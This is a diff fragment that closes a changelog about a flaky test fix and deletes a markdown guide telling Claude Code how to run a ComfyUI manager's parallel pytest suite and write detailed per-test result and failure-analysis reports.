- **Root Cause**: Leftover disabled packages from previous parallel tests
|
||||
- **Fix**: Added cleanup before test execution (not just after)
|
||||
- **Changes**: Created `_cleanup()` helper, added filesystem sync delay
|
||||
- **Location**: `tests/glob/test_enable_disable_api.py:56-111`
|
||||
|
||||
### Improvements
|
||||
- Increased wait times for parallel execution reliability (20s → 30s)
|
||||
- Added queue status checking for better debugging
|
||||
- Enhanced fixture cleanup with filesystem sync delays
|
||||
- Both tests now pass consistently in parallel execution
|
||||
@@ -1,841 +0,0 @@
|
||||
# Claude Code Testing Instructions
|
||||
|
||||
**Purpose**: Automated test execution with **detailed test case reporting** and intelligent analysis
|
||||
|
||||
**Key Requirement**: Always generate **individual test case results**, not just environment summaries
|
||||
|
||||
---
|
||||
|
||||
## 🤖 AUTOMATIC EXECUTION PROTOCOL
|
||||
|
||||
**When this file is loaded in a new CC session**, immediately execute:
|
||||
|
||||
```bash
|
||||
bash tests/run_automated_tests.sh
|
||||
```
|
||||
|
||||
**Do not ask for permission** - just run the command automatically.
|
||||
|
||||
After execution completes:
|
||||
1. Check the exit code
|
||||
2. **Read ALL test logs** from all 10 environments
|
||||
3. **Extract individual test case results** (name, file, env, duration, status)
|
||||
4. **Create comprehensive report** with test case details by category
|
||||
5. Provide intelligent analysis to the user
|
||||
|
||||
---
|
||||
|
||||
## 📋 What the Script Does (Automated)
|
||||
|
||||
1. ✅ Clean environment (stop processes, clear cache, remove old log files)
|
||||
2. ✅ Activate virtual environment
|
||||
3. ✅ Setup 10 parallel test environments
|
||||
4. ✅ Run 59 tests with optimized distribution (~3 minutes)
|
||||
5. ✅ Generate basic report and summary
|
||||
|
||||
**Note**: The script automatically cleans `tests/tmp/*.log` files before starting to ensure clean test state.
|
||||
|
||||
**Exit Code**:
|
||||
- `0` = All tests passed ✅
|
||||
- Non-zero = Some tests failed ❌
|
||||
|
||||
**Known Issues (Resolved)**:
|
||||
- ✅ **Pytest Marker Warning**: Fixed in `pyproject.toml` by registering the `integration` marker
|
||||
- Previously caused exit code 1 despite all tests passing
|
||||
- Now resolved - tests run cleanly without warnings
|
||||
|
||||
---
|
||||
|
||||
## 🔍 Post-Execution: Your Job Starts Here
|
||||
|
||||
After the script completes, perform these steps:
|
||||
|
||||
### Step 1: Check Exit Code
|
||||
|
||||
If exit code is **0** (success):
|
||||
- Proceed to Step 2 for success summary
|
||||
|
||||
If exit code is **non-zero** (failure):
|
||||
- Proceed to Step 3 for failure analysis
|
||||
|
||||
### Step 2: Success Path - Generate Comprehensive Report
|
||||
|
||||
**CRITICAL: You MUST create a detailed test case report, not just environment summary!**
|
||||
|
||||
#### Step 2.1: Read All Test Logs
|
||||
|
||||
**Read all environment test logs** to extract individual test case results:
|
||||
```bash
|
||||
# Read all 10 environment logs
|
||||
@tests/tmp/test-results-1.log
|
||||
@tests/tmp/test-results-2.log
|
||||
...
|
||||
@tests/tmp/test-results-10.log
|
||||
```
|
||||
|
||||
#### Step 2.2: Extract Test Case Information
|
||||
|
||||
From each log, extract:
|
||||
- Individual test names (e.g., `test_install_package_via_queue`)
|
||||
- Test file (e.g., `test_queue_task_api.py`)
|
||||
- Status (PASSED/FAILED)
|
||||
- Environment number and port
|
||||
- Duration (from pytest output)
|
||||
|
||||
#### Step 2.3: Create/Update Detailed Report
|
||||
|
||||
**Create or update** `.claude/livecontext/automated_test_YYYY-MM-DD_HH-MM-SS.md` with:
|
||||
|
||||
1. **Executive Summary** (overview metrics)
|
||||
2. **Detailed Test Results by Category** - **MOST IMPORTANT**:
|
||||
- Group tests by category (Queue Task API, Enable/Disable API, etc.)
|
||||
- Create tables with columns: Test Case | Environment | Duration | Status
|
||||
- Include coverage description for each category
|
||||
3. **Test Category Summary** (table with category stats)
|
||||
4. **Load Balancing Analysis**
|
||||
5. **Performance Insights**
|
||||
6. **Configuration Details**
|
||||
|
||||
**Example structure**:
|
||||
```markdown
|
||||
## Detailed Test Results by Category
|
||||
|
||||
### 📦 Queue Task API Tests (8 tests) - All Passed ✅
|
||||
|
||||
| Test Case | Environment | Duration | Status |
|
||||
|-----------|-------------|----------|--------|
|
||||
| `test_install_package_via_queue` | Env 4 (8191) | ~28s | ✅ PASSED |
|
||||
| `test_uninstall_package_via_queue` | Env 6 (8193) | ~28s | ✅ PASSED |
|
||||
| `test_install_uninstall_cycle` | Env 7 (8194) | ~23s | ✅ PASSED |
|
||||
...
|
||||
|
||||
**Coverage**: Package installation, uninstallation, version switching via queue
|
||||
|
||||
---
|
||||
|
||||
### 🔄 Version Switching Comprehensive Tests (19 tests) - All Passed ✅
|
||||
|
||||
| Test Case | Environment | Duration | Status |
|
||||
|-----------|-------------|----------|--------|
|
||||
| `test_cnr_to_nightly_switching` | Env 1 (8188) | ~38s | ✅ PASSED |
|
||||
...
|
||||
```
|
||||
|
||||
#### Step 2.4: Provide User Summary
|
||||
|
||||
**After creating the detailed report**, provide user with concise summary:
|
||||
|
||||
```markdown
|
||||
✅ **All 59 tests passed successfully!**
|
||||
|
||||
### 📊 Category Breakdown
|
||||
| Category | Tests | Status |
|
||||
|----------|-------|--------|
|
||||
| Version Switching Comprehensive | 19 | ✅ All Passed |
|
||||
| Complex Scenarios | 12 | ✅ All Passed |
|
||||
| Queue Task API | 8 | ✅ All Passed |
|
||||
| Nightly Downgrade/Upgrade | 5 | ✅ All Passed |
|
||||
| Enable/Disable API | 5 | ✅ All Passed |
|
||||
| Update API | 4 | ✅ All Passed |
|
||||
| Installed API (Original Case) | 4 | ✅ All Passed |
|
||||
| Case Sensitivity Integration | 2 | ✅ All Passed |
|
||||
|
||||
### ⚡ Performance
|
||||
- **Execution time**: 118s (1m 58s)
|
||||
- **Speedup**: 9.76x vs sequential
|
||||
- **Load balance**: 1.04x variance (excellent)
|
||||
|
||||
### 📁 Generated Files
|
||||
- **Detailed Report**: `.claude/livecontext/automated_test_YYYY-MM-DD_HH-MM-SS.md`
|
||||
- Individual test case results
|
||||
- Category-wise breakdown
|
||||
- Performance analysis
|
||||
- **Test Logs**: `tests/tmp/test-results-[1-10].log`
|
||||
|
||||
### 🎯 Next Steps
|
||||
[Based on variance analysis]
|
||||
```
|
||||
|
||||
### Step 3: Failure Path - Intelligent Troubleshooting
|
||||
|
||||
**CRITICAL: Create detailed test case report even for failures!**
|
||||
|
||||
#### Step 3.1: Read All Test Logs (Including Failed)
|
||||
|
||||
**Read all environment test logs** to extract complete test results:
|
||||
```bash
|
||||
# Read all 10 environment logs
|
||||
@tests/tmp/test-results-1.log
|
||||
@tests/tmp/test-results-2.log
|
||||
...
|
||||
@tests/tmp/test-results-10.log
|
||||
```
|
||||
|
||||
#### Step 3.2: Extract All Test Cases
|
||||
|
||||
From each log, extract **all tests** (passed and failed):
|
||||
- Test name, file, environment, duration, status
|
||||
- For **failed tests**, also extract:
|
||||
- Error type (AssertionError, ConnectionError, TimeoutError, etc.)
|
||||
- Error message
|
||||
- Traceback (last few lines)
|
||||
|
||||
#### Step 3.3: Create Comprehensive Report
|
||||
|
||||
**Create** `.claude/livecontext/automated_test_YYYY-MM-DD_HH-MM-SS.md` with:
|
||||
|
||||
1. **Executive Summary**:
|
||||
- Total: 43 tests
|
||||
- Passed: X tests
|
||||
- Failed: Y tests
|
||||
- Pass rate: X%
|
||||
- Execution time and speedup
|
||||
|
||||
2. **Detailed Test Results by Category** - **MANDATORY**:
|
||||
- Group ALL tests by category
|
||||
- Mark failed tests with ❌ and error summary
|
||||
- Example:
|
||||
```markdown
|
||||
### 📦 Queue Task API Tests (8 tests) - 6 Passed, 2 Failed
|
||||
|
||||
| Test Case | Environment | Duration | Status |
|
||||
|-----------|-------------|----------|--------|
|
||||
| `test_install_package_via_queue` | Env 4 (8191) | ~28s | ✅ PASSED |
|
||||
| `test_version_switch_cnr_to_nightly` | Env 9 (8196) | 60s | ❌ FAILED - Timeout |
|
||||
```
|
||||
|
||||
3. **Failed Tests Detailed Analysis**:
|
||||
- For each failed test, provide:
|
||||
- Test name and file
|
||||
- Environment and port
|
||||
- Error type and message
|
||||
- Relevant traceback excerpt
|
||||
- Server log reference
|
||||
|
||||
4. **Root Cause Analysis**:
|
||||
- Pattern detection across failures
|
||||
- Common failure types
|
||||
- Likely root causes
|
||||
|
||||
5. **Recommended Actions** (specific commands)
|
||||
|
||||
#### Step 3.4: Analyze Failure Patterns
|
||||
|
||||
**For each failed test**, read server logs if needed:
|
||||
```
|
||||
@tests/tmp/comfyui-parallel-N.log
|
||||
```
|
||||
|
||||
**Categorize failures**:
|
||||
- ❌ **API Error**: Connection refused, timeout, 404/500
|
||||
- ❌ **Assertion Error**: Expected vs actual mismatch
|
||||
- ❌ **Setup Error**: Environment configuration issue
|
||||
- ❌ **Timeout Error**: Test exceeded time limit
|
||||
- ❌ **Package Error**: Installation/version switching failed
|
||||
|
||||
#### Step 3.5: Provide Structured Analysis to User
|
||||
|
||||
```markdown
|
||||
❌ **X tests failed across Y environments**
|
||||
|
||||
### 📊 Test Results Summary
|
||||
|
||||
| Category | Total | Passed | Failed | Pass Rate |
|
||||
|----------|-------|--------|--------|-----------|
|
||||
| Queue Task API | 8 | 6 | 2 | 75% |
|
||||
| Version Switching | 19 | 17 | 2 | 89% |
|
||||
| ... | ... | ... | ... | ... |
|
||||
|
||||
### ❌ Failed Tests Detail
|
||||
|
||||
#### 1. `test_version_switch_cnr_to_nightly` (Env 9, Port 8196)
|
||||
- **Error Type**: TimeoutError
|
||||
- **Error Message**: `Server did not respond within 60s`
|
||||
- **Root Cause**: Likely server startup delay or API timeout
|
||||
- **Log**: `tests/tmp/test-results-9.log:45`
|
||||
- **Server Log**: `tests/tmp/comfyui-parallel-9.log`
|
||||
|
||||
#### 2. `test_install_package_via_queue` (Env 4, Port 8191)
|
||||
- **Error Type**: AssertionError
|
||||
- **Error Message**: `Expected package in installed list`
|
||||
- **Root Cause**: Package installation failed or API response incomplete
|
||||
- **Log**: `tests/tmp/test-results-4.log:32`
|
||||
|
||||
### 🔍 Root Cause Analysis
|
||||
|
||||
**Pattern**: Both failures are in environments with version switching operations
|
||||
- Likely cause: Server response timeout during complex operations
|
||||
- Recommendation: Increase timeout or investigate server performance
|
||||
|
||||
### 🛠️ Recommended Actions
|
||||
|
||||
1. **Check server startup timing**:
|
||||
```bash
|
||||
grep "To see the GUI" tests/tmp/comfyui-parallel-{4,9}.log
|
||||
```
|
||||
|
||||
2. **Re-run failed tests in isolation**:
|
||||
```bash
|
||||
COMFYUI_PATH=tests/env/ComfyUI_9 \
|
||||
TEST_SERVER_PORT=8196 \
|
||||
pytest tests/glob/test_queue_task_api.py::test_version_switch_cnr_to_nightly -v -s
|
||||
```
|
||||
|
||||
3. **If timeout persists, increase timeout in conftest.py**
|
||||
|
||||
4. **Full re-test after fixes**:
|
||||
```bash
|
||||
./tests/run_automated_tests.sh
|
||||
```
|
||||
|
||||
### 📁 Detailed Logs
|
||||
- **Full Report**: `.claude/livecontext/automated_test_YYYY-MM-DD_HH-MM-SS.md`
|
||||
- **Failed Test Logs**:
|
||||
- `tests/tmp/test-results-4.log` (line 32)
|
||||
- `tests/tmp/test-results-9.log` (line 45)
|
||||
- **Server Logs**: `tests/tmp/comfyui-parallel-{4,9}.log`
|
||||
```
|
||||
|
||||
### Step 4: Performance Analysis (Both Paths)
|
||||
|
||||
**Analyze load balancing from report**:
|
||||
|
||||
```markdown
|
||||
**Load Balancing Analysis**:
|
||||
- Variance: X.XXx
|
||||
- Max duration: XXXs (Env N)
|
||||
- Min duration: XXXs (Env N)
|
||||
- Assessment: [Excellent <1.2x | Good <2.0x | Poor >2.0x]
|
||||
|
||||
[If Poor]
|
||||
**Optimization Available**:
|
||||
The current test distribution is not optimal. You can improve execution time by 41% with:
|
||||
```bash
|
||||
./tests/update_test_durations.sh # Takes ~15-20 min
|
||||
```
|
||||
This will regenerate timing data for optimal load balancing.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🛠️ Common Troubleshooting Scenarios
|
||||
|
||||
### Scenario 1: Server Startup Failures
|
||||
|
||||
**Symptoms**: Environment logs show server didn't start
|
||||
|
||||
**Check**:
|
||||
```
|
||||
@tests/tmp/comfyui-parallel-N.log
|
||||
```
|
||||
|
||||
**Common causes**:
|
||||
- Port already in use
|
||||
- Missing dependencies
|
||||
- ComfyUI branch issues
|
||||
|
||||
**Fix**:
|
||||
```bash
|
||||
# Clean up ports
|
||||
pkill -f "ComfyUI/main.py"
|
||||
sleep 2
|
||||
|
||||
# Re-run
|
||||
./tests/run_automated_tests.sh
|
||||
```
|
||||
|
||||
### Scenario 2: API Connection Failures
|
||||
|
||||
**Symptoms**: `Connection refused` or `Timeout` errors
|
||||
|
||||
**Analysis checklist**:
|
||||
1. Was server ready? (Check server log for "To see the GUI" message)
|
||||
2. Correct port? (8188-8197 for envs 1-10)
|
||||
3. Request before server ready? (Race condition)
|
||||
|
||||
**Fix**: Usually transient - re-run tests
|
||||
|
||||
### Scenario 3: Version Switching Failures
|
||||
|
||||
**Symptoms**: `test_version_switch_*` failures
|
||||
|
||||
**Analysis**:
|
||||
- Check package installation logs
|
||||
- Verify `.tracking` file presence (CNR packages)
|
||||
- Check `.git` directory (nightly packages)
|
||||
|
||||
**Fix**:
|
||||
```bash
|
||||
# Clean specific package state
|
||||
rm -rf tests/env/ComfyUI_N/custom_nodes/ComfyUI_SigmoidOffsetScheduler
|
||||
rm -rf tests/env/ComfyUI_N/custom_nodes/.disabled/*[Ss]igmoid*
|
||||
|
||||
# Re-run tests
|
||||
./tests/run_automated_tests.sh
|
||||
```
|
||||
|
||||
### Scenario 4: Environment-Specific Failures
|
||||
|
||||
**Symptoms**: Same test passes in some envs, fails in others
|
||||
|
||||
**Analysis**: Setup inconsistency or race condition
|
||||
|
||||
**Fix**:
|
||||
```bash
|
||||
# Rebuild specific environment
|
||||
rm -rf tests/env/ComfyUI_N
|
||||
NUM_ENVS=10 ./tests/setup_parallel_test_envs.sh
|
||||
|
||||
# Or rebuild all
|
||||
rm -rf tests/env/ComfyUI_*
|
||||
NUM_ENVS=10 ./tests/setup_parallel_test_envs.sh
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📊 Report Sections to Analyze
|
||||
|
||||
When reading the report, focus on:
|
||||
|
||||
1. **Summary Statistics**:
|
||||
- Total/passed/failed counts
|
||||
- Overall pass rate
|
||||
- Execution time
|
||||
|
||||
2. **Per-Environment Results**:
|
||||
- Which environments failed?
|
||||
- Duration variance patterns
|
||||
- Test distribution
|
||||
|
||||
3. **Performance Metrics**:
|
||||
- Load balancing effectiveness
|
||||
- Speedup vs sequential
|
||||
- Optimization opportunities
|
||||
|
||||
4. **Log References**:
|
||||
- Where to find detailed logs
|
||||
- Which logs to check for failures
|
||||
|
||||
---
|
||||
|
||||
## 🎯 Your Goal as Claude Code
|
||||
|
||||
**Primary**: Generate **detailed test case report** and provide actionable insights
|
||||
|
||||
**CRITICAL Requirements**:
|
||||
|
||||
1. **Read ALL test logs** (`tests/tmp/test-results-[1-10].log`)
|
||||
2. **Extract individual test cases** - NOT just environment summaries
|
||||
3. **Group by category** - Queue Task API, Version Switching, etc.
|
||||
4. **Create detailed tables** - Test name, environment, duration, status
|
||||
5. **Include coverage descriptions** - What each category tests
|
||||
|
||||
**Success Path**:
|
||||
- ✅ Detailed test case breakdown by category (tables with all 43 tests)
|
||||
- ✅ Category summary with test counts
|
||||
- ✅ Performance metrics and load balancing analysis
|
||||
- ✅ Concise user-facing summary with highlights
|
||||
- ✅ Optimization suggestions (if applicable)
|
||||
|
||||
**Failure Path**:
|
||||
- ✅ Detailed test case breakdown (including failed tests with error details)
|
||||
- ✅ Failed tests analysis section (error type, message, traceback)
|
||||
- ✅ Root cause analysis with pattern detection
|
||||
- ✅ Specific remediation commands for each failure
|
||||
- ✅ Step-by-step verification instructions
|
||||
|
||||
**Always**:
|
||||
- ✅ Read ALL 10 test result logs (not just summary)
|
||||
- ✅ Create comprehensive `.claude/livecontext/automated_test_*.md` report
|
||||
- ✅ Include individual test case results in tables
|
||||
- ✅ Provide context, explanation, and next steps
|
||||
- ✅ Use markdown formatting for clarity
|
||||
|
||||
---
|
||||
|
||||
## 📝 Example Output (Success)
|
||||
|
||||
```markdown
|
||||
✅ **All 43 tests passed successfully!**
|
||||
|
||||
### 📊 Category Breakdown
|
||||
| Category | Tests | Status |
|
||||
|----------|-------|--------|
|
||||
| Queue Task API | 8 | ✅ All Passed |
|
||||
| Version Switching | 19 | ✅ All Passed |
|
||||
| Enable/Disable API | 5 | ✅ All Passed |
|
||||
| Update API | 4 | ✅ All Passed |
|
||||
| Installed API | 4 | ✅ All Passed |
|
||||
| Case Sensitivity | 1 | ✅ Passed |
|
||||
| Complex Scenarios | 2 | ✅ All Passed |
|
||||
|
||||
### ⚡ Performance
|
||||
- **Execution time**: 118s (1m 58s)
|
||||
- **Speedup**: 9.76x vs sequential (19.3min → 2.0min)
|
||||
- **Load balance**: 1.04x variance (excellent)
|
||||
|
||||
### 📋 Test Highlights
|
||||
|
||||
**Version Switching Comprehensive (19 tests)** - Most comprehensive coverage:
|
||||
- CNR ↔ Nightly conversion scenarios
|
||||
- Version upgrades/downgrades (CNR only)
|
||||
- Fix operations for corrupted packages
|
||||
- Uninstall scenarios (CNR only, Nightly only, Mixed)
|
||||
- Reinstall validation and cleanup verification
|
||||
|
||||
**Complex Scenarios (12 tests)**:
|
||||
- Multiple disabled versions (CNR + Nightly)
|
||||
- Enable operations with multiple disabled versions
|
||||
- Disable operations with other disabled versions
|
||||
- Update operations with disabled versions present
|
||||
- Install operations when other versions exist
|
||||
- Uninstall operations removing all versions
|
||||
- Version upgrade chains and switching preservations
|
||||
|
||||
**Queue Task API (8 tests)**:
|
||||
- Package install/uninstall via queue
|
||||
- Version switching (CNR→Nightly, CNR→CNR)
|
||||
- Case-insensitive operations
|
||||
- Multi-task queuing
|
||||
|
||||
**Nightly Downgrade/Upgrade (5 tests)** - Git-based version management:
|
||||
- Downgrade via git reset and upgrade via git pull
|
||||
- Multiple commit reset and upgrade cycles
|
||||
- Git pull behavior validation
|
||||
- Unstaged file handling during reset
|
||||
- Soft reset with modified files
|
||||
|
||||
### 📁 Generated Files
|
||||
- **Detailed Report**: `.claude/livecontext/automated_test_2025-11-06_11-41-47.md`
|
||||
- 59 individual test case results
|
||||
- Category-wise breakdown with coverage details
|
||||
- Performance metrics and load balancing analysis
|
||||
- **Test Logs**: `tests/tmp/test-results-[1-10].log`
|
||||
- **Server Logs**: `tests/tmp/comfyui-parallel-[1-10].log`
|
||||
|
||||
### 🎯 Status
|
||||
No action needed - test infrastructure working optimally!
|
||||
```
|
||||
|
||||
## 📝 Example Output (Failure)
|
||||
|
||||
```markdown
|
||||
❌ **3 tests failed across 2 environments (95% pass rate)**
|
||||
|
||||
### 📊 Test Results Summary
|
||||
|
||||
| Category | Total | Passed | Failed | Pass Rate |
|
||||
|----------|-------|--------|--------|-----------|
|
||||
| Version Switching Comprehensive | 19 | 18 | 1 | 95% |
|
||||
| Complex Scenarios | 12 | 12 | 0 | 100% |
|
||||
| Queue Task API | 8 | 6 | 2 | 75% |
|
||||
| Nightly Downgrade/Upgrade | 5 | 5 | 0 | 100% |
|
||||
| Enable/Disable API | 5 | 5 | 0 | 100% |
|
||||
| Update API | 4 | 4 | 0 | 100% |
|
||||
| Installed API (Original Case) | 4 | 4 | 0 | 100% |
|
||||
| Case Sensitivity Integration | 2 | 2 | 0 | 100% |
|
||||
| **TOTAL** | **59** | **56** | **3** | **95%** |
|
||||
|
||||
### ❌ Failed Tests Detail
|
||||
|
||||
#### 1. `test_version_switch_cnr_to_nightly` (Env 9, Port 8196)
|
||||
- **Category**: Queue Task API
|
||||
- **Duration**: 60s (timeout)
|
||||
- **Error Type**: `requests.exceptions.Timeout`
|
||||
- **Error Message**: `HTTPConnectionPool(host='127.0.0.1', port=8196): Read timed out.`
|
||||
- **Root Cause**: Server did not respond within 60s during version switching
|
||||
- **Recommendation**: Check server performance or increase timeout
|
||||
- **Logs**:
|
||||
- Test: `tests/tmp/test-results-9.log:234-256`
|
||||
- Server: `tests/tmp/comfyui-parallel-9.log`
|
||||
|
||||
#### 2. `test_install_package_via_queue` (Env 4, Port 8191)
|
||||
- **Category**: Queue Task API
|
||||
- **Duration**: 32s
|
||||
- **Error Type**: `AssertionError`
|
||||
- **Error Message**: `assert 'ComfyUI_SigmoidOffsetScheduler' in installed_packages`
|
||||
- **Traceback**:
|
||||
```
|
||||
tests/glob/test_queue_task_api.py:145: AssertionError
|
||||
assert 'ComfyUI_SigmoidOffsetScheduler' in installed_packages
|
||||
E AssertionError: Package not found in /installed response
|
||||
```
|
||||
- **Root Cause**: Package installation via queue task succeeded but not reflected in installed list
|
||||
- **Recommendation**: Verify task completion status and installed API sync
|
||||
- **Logs**: `tests/tmp/test-results-4.log:98-125`
|
||||
|
||||
#### 3. `test_cnr_version_upgrade` (Env 7, Port 8194)
|
||||
- **Category**: Version Switching
|
||||
- **Duration**: 28s
|
||||
- **Error Type**: `AssertionError`
|
||||
- **Error Message**: `Expected version '1.2.0', got '1.1.0'`
|
||||
- **Root Cause**: Version upgrade operation completed but version not updated
|
||||
- **Logs**: `tests/tmp/test-results-7.log:167-189`
|
||||
|
||||
### 🔍 Root Cause Analysis
|
||||
|
||||
**Common Pattern**: All failures involve package state management
|
||||
1. **Test 1**: Timeout during version switching → Server performance issue
|
||||
2. **Test 2**: Installed API not reflecting queue task result → API sync issue
|
||||
3. **Test 3**: Version upgrade not persisted → Package metadata issue
|
||||
|
||||
**Likely Causes**:
|
||||
- Server performance degradation under load (Test 1)
|
||||
- Race condition between task completion and API query (Test 2)
|
||||
- Package metadata cache not invalidated (Test 3)
|
||||
|
||||
### 🛠️ Recommended Actions
|
||||
|
||||
1. **Verify server health**:
|
||||
```bash
|
||||
grep -A 10 "version_switch_cnr_to_nightly" tests/tmp/comfyui-parallel-9.log
|
||||
tail -100 tests/tmp/comfyui-parallel-9.log
|
||||
```
|
||||
|
||||
2. **Re-run failed tests in isolation**:
|
||||
```bash
|
||||
# Test 1
|
||||
COMFYUI_PATH=tests/env/ComfyUI_9 TEST_SERVER_PORT=8196 \
|
||||
pytest tests/glob/test_queue_task_api.py::test_version_switch_cnr_to_nightly -v -s
|
||||
|
||||
# Test 2
|
||||
COMFYUI_PATH=tests/env/ComfyUI_4 TEST_SERVER_PORT=8191 \
|
||||
pytest tests/glob/test_queue_task_api.py::test_install_package_via_queue -v -s
|
||||
|
||||
# Test 3
|
||||
COMFYUI_PATH=tests/env/ComfyUI_7 TEST_SERVER_PORT=8194 \
|
||||
pytest tests/glob/test_version_switching_comprehensive.py::test_cnr_version_upgrade -v -s
|
||||
```
|
||||
|
||||
3. **If timeout persists**, increase timeout in `tests/glob/conftest.py`:
|
||||
```python
|
||||
DEFAULT_TIMEOUT = 90 # Increase from 60 to 90
|
||||
```
|
||||
|
||||
4. **Check for race conditions** - Add delay after queue task completion:
|
||||
```python
|
||||
await task_completion()
|
||||
time.sleep(2) # Allow API to sync
|
||||
```
|
||||
|
||||
5. **Full re-test** after fixes:
|
||||
```bash
|
||||
./tests/run_automated_tests.sh
|
||||
```
|
||||
|
||||
### 📁 Detailed Files
|
||||
- **Full Report**: `.claude/livecontext/automated_test_2025-11-06_11-41-47.md`
|
||||
- All 43 test case results (40 passed, 3 failed)
|
||||
- Category breakdown with detailed failure analysis
|
||||
- **Failed Test Logs**:
|
||||
- `tests/tmp/test-results-4.log` (line 98-125)
|
||||
- `tests/tmp/test-results-7.log` (line 167-189)
|
||||
- `tests/tmp/test-results-9.log` (line 234-256)
|
||||
- **Server Logs**: `tests/tmp/comfyui-parallel-{4,7,9}.log`
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**Last Updated**: 2025-11-07
|
||||
**Script Version**: run_automated_tests.sh
|
||||
**Test Count**: 59 tests across 10 environments
|
||||
**Documentation**: Updated with all test categories and detailed descriptions
|
||||
|
||||
## 📝 Report Requirements Summary
|
||||
|
||||
**What MUST be in the report** (`.claude/livecontext/automated_test_*.md`):
|
||||
|
||||
1. ✅ **Executive Summary** - Overall metrics (total, passed, failed, pass rate, execution time)
|
||||
2. ✅ **Detailed Test Results by Category** - **MOST IMPORTANT SECTION**:
|
||||
- Group all 59 tests by category (Version Switching, Complex Scenarios, etc.)
|
||||
- Create tables: Test Case | Environment | Duration | Status
|
||||
- Include coverage description for each category
|
||||
- For failures: Add error type, message, traceback excerpt
|
||||
3. ✅ **Test Category Summary Table** - Category | Total | Passed | Failed | Coverage Areas
|
||||
4. ✅ **Load Balancing Analysis** - Variance, max/min duration, assessment
|
||||
5. ✅ **Performance Insights** - Speedup calculation, efficiency metrics
|
||||
6. ✅ **Configuration Details** - Environment setup, Python version, branch, etc.
|
||||
7. ✅ **Failed Tests Detailed Analysis** (if applicable) - Per-test error analysis
|
||||
8. ✅ **Root Cause Analysis** (if applicable) - Pattern detection across failures
|
||||
9. ✅ **Recommended Actions** (if applicable) - Specific commands to run
|
||||
|
||||
**What to show the user** (console output):
|
||||
|
||||
1. ✅ **Concise summary** - Pass/fail status, category breakdown table
|
||||
2. ✅ **Performance highlights** - Execution time, speedup, load balance
|
||||
3. ✅ **Test highlights** - Key coverage areas with brief descriptions
|
||||
4. ✅ **Generated files** - Path to detailed report and logs
|
||||
5. ✅ **Next steps** - Action items or "No action needed"
|
||||
6. ✅ **Failed tests summary** (if applicable) - Brief error summary with log references
|
||||
|
||||
---
|
||||
|
||||
## 📚 Test Category Details
|
||||
|
||||
### 1. Version Switching Comprehensive (19 tests)
|
||||
**File**: `tests/glob/test_version_switching_comprehensive.py`
|
||||
|
||||
**Coverage**:
|
||||
- CNR ↔ Nightly bidirectional switching
|
||||
- CNR version upgrades and downgrades
|
||||
- Nightly git pull updates
|
||||
- Package fix operations for corrupted packages
|
||||
- Uninstall operations (CNR only, Nightly only, Mixed versions)
|
||||
- Reinstall validation and cleanup verification
|
||||
- Invalid version error handling
|
||||
- Same version reinstall skip logic
|
||||
|
||||
**Key Tests**:
|
||||
- `test_reverse_scenario_nightly_cnr_nightly` - Nightly→CNR→Nightly
|
||||
- `test_forward_scenario_cnr_nightly_cnr` - CNR→Nightly→CNR
|
||||
- `test_cnr_version_upgrade` - CNR version upgrade
|
||||
- `test_cnr_version_downgrade` - CNR version downgrade
|
||||
- `test_fix_cnr_package` - Fix corrupted CNR package
|
||||
- `test_fix_nightly_package` - Fix corrupted Nightly package
|
||||
|
||||
---
|
||||
|
||||
### 2. Complex Scenarios (12 tests)
|
||||
**File**: `tests/glob/test_complex_scenarios.py`
|
||||
|
||||
**Coverage**:
|
||||
- Multiple disabled versions (CNR + Nightly)
|
||||
- Enable operations with both CNR and Nightly disabled
|
||||
- Disable operations when other version already disabled
|
||||
- Update operations with disabled versions present
|
||||
- Install operations when other versions exist (enabled or disabled)
|
||||
- Uninstall operations removing all versions
|
||||
- Version upgrade chains with old version cleanup
|
||||
- CNR-Nightly switching with preservation of disabled Nightly
|
||||
|
||||
**Key Tests**:
|
||||
- `test_enable_cnr_when_both_disabled` - Enable CNR when both disabled
|
||||
- `test_enable_nightly_when_both_disabled` - Enable Nightly when both disabled
|
||||
- `test_update_cnr_with_nightly_disabled` - Update CNR with Nightly disabled
|
||||
- `test_install_cnr_when_nightly_enabled` - Install CNR when Nightly enabled
|
||||
- `test_uninstall_removes_all_versions` - Uninstall removes all versions
|
||||
- `test_cnr_version_upgrade_removes_old` - Old CNR removed after upgrade
|
||||
|
||||
---
|
||||
|
||||
### 3. Queue Task API (8 tests)
|
||||
**File**: `tests/glob/test_queue_task_api.py`
|
||||
|
||||
**Coverage**:
|
||||
- Package installation via queue task
|
||||
- Package uninstallation via queue task
|
||||
- Install/uninstall cycle validation
|
||||
- Case-insensitive package operations
|
||||
- Multiple task queuing
|
||||
- Version switching via queue (CNR↔Nightly, CNR↔CNR)
|
||||
- Version switching for disabled packages
|
||||
|
||||
**Key Tests**:
|
||||
- `test_install_package_via_queue` - Install package via queue
|
||||
- `test_uninstall_package_via_queue` - Uninstall package via queue
|
||||
- `test_install_uninstall_cycle` - Full install/uninstall cycle
|
||||
- `test_case_insensitive_operations` - Case-insensitive lookups
|
||||
- `test_version_switch_cnr_to_nightly` - CNR→Nightly via queue
|
||||
- `test_version_switch_between_cnr_versions` - CNR→CNR via queue
|
||||
|
||||
---
|
||||
|
||||
### 4. Nightly Downgrade/Upgrade (5 tests)
|
||||
**File**: `tests/glob/test_nightly_downgrade_upgrade.py`
|
||||
|
||||
**Coverage**:
|
||||
- Nightly package downgrade via git reset
|
||||
- Upgrade back to latest via git pull (update operation)
|
||||
- Multiple commit reset and upgrade cycles
|
||||
- Git pull behavior validation
|
||||
- Unstaged file handling during git reset
|
||||
- Soft reset with modified files
|
||||
|
||||
**Key Tests**:
|
||||
- `test_nightly_downgrade_via_reset_then_upgrade` - Reset and upgrade cycle
|
||||
- `test_nightly_downgrade_multiple_commits_then_upgrade` - Multiple commit reset
|
||||
- `test_nightly_verify_git_pull_behavior` - Git pull validation
|
||||
- `test_nightly_reset_to_first_commit_with_unstaged_files` - Unstaged file handling
|
||||
- `test_nightly_soft_reset_with_modified_files_then_upgrade` - Soft reset behavior
|
||||
|
||||
---
|
||||
|
||||
### 5. Enable/Disable API (5 tests)
|
||||
**File**: `tests/glob/test_enable_disable_api.py`
|
||||
|
||||
**Coverage**:
|
||||
- Package enable operations
|
||||
- Package disable operations
|
||||
- Duplicate enable handling (idempotency)
|
||||
- Duplicate disable handling (idempotency)
|
||||
- Enable/disable cycle validation
|
||||
|
||||
**Key Tests**:
|
||||
- `test_enable_package` - Enable disabled package
|
||||
- `test_disable_package` - Disable enabled package
|
||||
